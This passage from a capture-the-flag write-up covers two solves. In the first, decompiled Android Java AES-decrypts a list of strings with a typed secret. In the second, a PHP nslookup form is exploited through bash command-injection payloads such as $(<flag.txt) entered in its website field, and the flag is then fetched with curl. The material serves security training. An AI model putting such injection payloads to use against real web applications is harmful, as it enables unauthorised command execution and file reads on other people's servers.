 ArrayList<E> arrayList = new ArrayList(Arrays.asList((Object[])new String[] {
         "p93hSxPQInWeGPVcmMxewg==", "jGl5hpGvF4MNtCTSNlcJzYkEWaQAdSMwQKERffswFuk=", "ww/vxITH/93Ta/k5u5g1Pw==", "ISZotmRXFSO
EmIVzUvv9bw==", "3KrWtdspWYCpVRJkmhbPZA==", "TC4ONjo91AAGhH0+aRYmEA==", "zj5LT5BVsgVjqHC1wZWPQhhXCk5jUilwx+4svDBSRD0=", "aM+a
Ay8qPDU6PPSe5Hqq3w==", "Gi56D0Jrn54PaZnlmFeaZA==", "BAW5c6F9UZiwdDlwm0udJQ==",
         "OYEX2V+vXODhONUXrlP+2Q==", "gJiMQqGKTFBQ6wPIVQoHTA==", "wFjm0l2DbL3z+i7Bgpf5l3gBbiHLVJx0++r0j7kB9mc=", "aYzMVpVlQpI
AhKSud0AetA==", "a79PD2rXccFkWKLCusG4Lg==", "j8mKBy9MuNTGksZypCrGKg==", "vwu2UHf3gVdtG4lSQd5X5A==", "8BMV5V164qNZJWSqyBZ2MA==
", "st3r4csKDHT/alCwUXTgAw==", "2DP0pPvEzadEAuaF08h479K+8csb48hlRghXOi3mw/Y=" }));
 String str = intent.getStringExtra("SECRET");
 for (byte b = 0; b < arrayList.size(); b++) {
   new String();
   String str1 = AES.decrypt(arrayList.get(b).toString(), str);
   this.list.add(str1);
 }

And the AES is standard and derives the key from SHA-1 of the 'secret'

public static String decrypt(String paramString1, String paramString2) {
  try {
    setKey(paramString2);
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5PADDING");
    cipher.init(2, secretKey);
    return new String(cipher.doFinal(Base64.getDecoder().decode(paramString1)));
  } catch (Exception exception) {
    PrintStream printStream = System.out;
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append("Error while decrypting: ");
    stringBuilder.append(exception.toString());
    printStream.println(stringBuilder.toString());
    return null;
  }
}
public static void setKey(String paramString) {
  try {
    key = paramString.getBytes("UTF-8");
    key = MessageDigest.getInstance("SHA-1").digest(key);
    key = Arrays.copyOf(key, 16);
    SecretKeySpec secretKeySpec = new SecretKeySpec();
    this(key, "AES");
    secretKey = secretKeySpec;
  } catch (NoSuchAlgorithmException noSuchAlgorithmException) {
    noSuchAlgorithmException.printStackTrace();
  } catch (UnsupportedEncodingException unsupportedEncodingException) {
    unsupportedEncodingException.printStackTrace();
  }
}

So we have some simple AES and secret to decrypt, we could fuck about re-implementing that - or just run it in the emulator and type the 'secret'(='nottheflag') Flag: ATR[R2D2]

Web

A DNS query to rule them all! (200pts)

Description

The web server that hosts this webpage has a flag on it. Can you find a flaw in the webapp to give you the flag?

Solve

Is a php site with 2 inputs - name is reflected, website is used to nslookup. Is PHP.

Name seems to escape the php and reflect it back tags and all..

Website however works with e.g bash-builtin cmd injection $(echo -n google; echo .com)

$(*) seems to hang it up, as does $(<flag.txt) various variations on 'cat' seem blocked somehow...

Stupid... (Possibly someone broke the challenge, or the author overlooked.)

$ curl http://challenges.ctfd.io:30460/flag.txt
ATR[LookupWebShells]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment